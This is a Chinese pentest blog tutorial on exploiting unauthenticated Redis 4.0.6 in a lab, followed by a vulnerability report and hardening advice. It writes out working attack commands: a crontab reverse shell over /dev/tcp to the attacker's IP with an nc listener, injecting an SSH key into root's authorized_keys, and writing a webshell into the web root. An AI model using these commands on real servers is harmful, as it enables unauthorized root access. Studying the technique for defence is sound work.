Redis未授权访问漏洞总结

0x00 前言

在渗透测试的过程中,经常会碰到各种未授权访问漏洞,今天总结一下redis的未授权访问漏洞,从靶机的环境搭建到漏洞复现再到getshell,如有错误的地方,还请各位大佬指出,共同进步。

0x01 环境准备

1.1 需要环境

靶机

操作系统:centos7

redis版本:4.0.6

攻击机

操作系统:kali Linux 2019.4 x64

redis版本:4.0.6

1.2 靶机环境准备

1.2.1 安装redis

1.下载redis安装包

1
wget http://download.redis.io/releases/redis-4.0.6.tar.gz

2.解压压缩包

1
tar -zxvf redis-4.0.6.tar.gz

3.yum安装gcc依赖

1
yum install gcc

注:遇到选择,输入y即可

4.跳转到redis解压目录下

1
cd redis-4.0.6

5.编译安装

1
make MALLOC=libc

将/usr/local/redis-4.0.6/src目录下的文件加到/usr/local/bin目录

1
cd src && make install

1.2.2 修改相关配置

将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

cp redis-server /usr/bin

cp redis-cli /usr/bin

返回目录redis目录,将redis.conf拷贝到/etc/目录下:

cp redis.conf /etc

编辑etc中的redis配置文件redis.conf

vim /etc/redis.conf

1.2.3 redis相关使用命令

连接redis:

1
redis-cli -h 192.168.63.130

查看redis版本信息、一些具体信息、服务器版本信息等等:

1
192.168.63.130:6379>info

将变量x的值设为test:
是把整个redis数据库删除,一般情况下不要用!!!

1
192.168.63.130:6379>flushall

查看所有键:

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

1
2
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename

查看redis服务

1
ps -aux | grep redis

关闭redis服务

1
kill 8234

1.3 攻击机环境准备

1.3.1 安装redis

下载

1
wget http:*//download.redis.io/releases/redis-4.0.11.tar.gz*

解压

1
tar -zxvf redis-4.0.11.tar.gz

切换到src目录

1
cd /redis-4.0.11/src

0x02 复现漏洞

1
redis-cli -h 192.168.110.8 -p 端口号

出现下面信息,说明存在未授权访问漏洞

0x03 反弹shell

3.1 利用计划任务执行命令反弹shell

3.1.1 利用原理

在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入定时计划,反弹shell。

3.1.2 开始攻击

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口

1
nc -lvnp 6666

然后在kali中执行下面命令

1
2
3
4
5
6
7
8
9
root@kali:~# redis-cli -h 192.168.110.8
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.110.128/6666 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

kali攻击机上成功反弹shell

注意:定时计划中的ip地址是攻击记的ip地址,不是靶机的ip地址。

3.2 写ssh-keygen公钥然后使用私钥登陆

3.3.1 什么是秘钥认证?

所谓的秘钥认证,就是基于公钥密码的认证,使用公钥加密,私钥解密,其中公钥是公开的,放在服务器端

可以把同一个公钥放在你想SSH登陆的服务器中,而私钥自己知道

大致过程:

1.客户端生成私钥和公钥,并把公钥拷贝给服务器端

2.客户端发起登陆请求,发送自己的相关信息

3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端

4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证

5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆

3.2.2 利用条件

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
  • 靶机的root目录下需要有.ssh目录

3.2.3 利用原理

 原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

3.3.2 开始攻击

首先需要kali攻击机在本地生成一对秘钥

1
ssh-keygen -t rsa

然后三次回车,生成秘钥,如下图

查看是否成功生成

查看公钥

1
cat id_rsa.pub

将公网的内容复制到记事本中待用

然后redis执行命令:

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqoeuRrrzFrayXuBMmU37QTJmXHV322PmdRMi5cfOz1zp8ZWCq6E9Q3hCMRDgLjpMKr7d8A4+g3YdUPoi14VbHEGa4BurlBbw00TNAI8pa2PO1c+6hwU3iH8DOHHqFjUD3nxxLUs5Z5dhGRX45UqnU3OQ9gU93ioDjTwiYEvg+Q7QDMWYo8jRa1aQ1m8sb9CRwgWCBZES+AHcSxFwsw/GgT6Naj1O8vyG0KPGAMidEGcbWH5PTS/iShLdGAAiqKynBs0KvVOVPC3KvdTGAZWeQIr3FDOvKB44cB04/mphV0/A3whW+jJZDDcyP4k+SoWafwlSt9dlbdhWBY4Br6uY+habZcpDnRWVudkdQm03Yesk4Xd+74t70pzfs6BxVeWdEORyKL5oAo4B1kZm7ivqf2uzx5KhJt3cVlmLMdvtcVELioKZsngwaqVVNUG4/1l0nS0s7+2OgJYZyAXEdRv6tFXcKSsf9d9frdscnsLvF6/pmVGpUc3VdQvNynHf9om0= root@kali\n\n\n"
save

注:需要将上面的公钥替替换攻击机的秘钥。

save后可以直接利用攻击机kali的私钥登录ssh

1
ssh -i id_rsa root@192.168.110.8

3.3 往web物理路径写webshell

利用条件:redis权限不高,服务器开着web服务在redis有web目录写权限时,可以尝试往web路径(根据实际情况)写webshell

1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

0x04 报告书写

4.1 漏洞描述

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;

如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

攻击者访问之后,利用Redis自身提供的config命令,可以进行写文件操作

可以成功把自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器

简单来说,漏洞产生的条件有以下两点:

  1. redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上
  2. 没有设置密码认证,可以免密登陆Redis服务

4.2 风险分析

  1. 导致敏感信息泄露,恶意执行flushall清空所有数据
  2. 通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件
  3. 如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器

4.3 测试过程

参考复现漏洞过程

4.4 漏洞类型

主机漏洞

4.5 漏洞级别

4.6 修复建议

防止这个漏洞需要修复以下三处问题

第一: 修改redis绑定的IP 如果只在本机使用redis服务那么只要绑定127.0.0.1 如果其他主机需要访问redis服务那么只绑定客户主机所在网络的接口 最好不要绑定0.0.0.0 另外需要通过主机内置的防火墙如iptables,或者其他外置防火墙禁止非业务主机访问redis服务

第二: 设置访问密码 在 redis.conf 中找到“requirepass”字段,取消注释并在后面填上你需要的密码。 注:修改redis的配置需要重启redis才能生效。

第三: 使用普通用户启动redis,并且禁止该用户启动shell,禁止使用root用户启动redis。

0x05 踩坑指南

使用命令连接出现下面错误

Could not connect to Redis at 192.168.25.153:6379: No route to host

问题原因:
centos7主机默认开启了防火墙

解决方法:

iptables -F –删除所有防火墙规则

简单粗暴,真实环境中不可这样

真实环境可参考

1
2
3
4
5
6
iptables -N REDIS
iptables -A REDIS -s 192.168.10.1 -j ACCEPT
iptables -A REDIS -s 192.168.10.2 -j ACCEPT
iptables -A REDIS -j LOG --log-prefix "unauth-redis-access"
iptables -A REDIS -j REJECT --reject-with icmp-port-unreachable
iptables -I INPUT -p tcp --dport 6379 -j REDIS

0x06 参考链接

https://www.cnblogs.com/zuidongfeng/p/8032505.html

https://blog.csdn.net/Fly_hps/article/details/80937837

https://www.freebuf.com/column/158065.html


文章作者: madcoding
文章链接: https://www.mad-coding.cn/2020/01/16/Redis未授权访问漏洞总结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论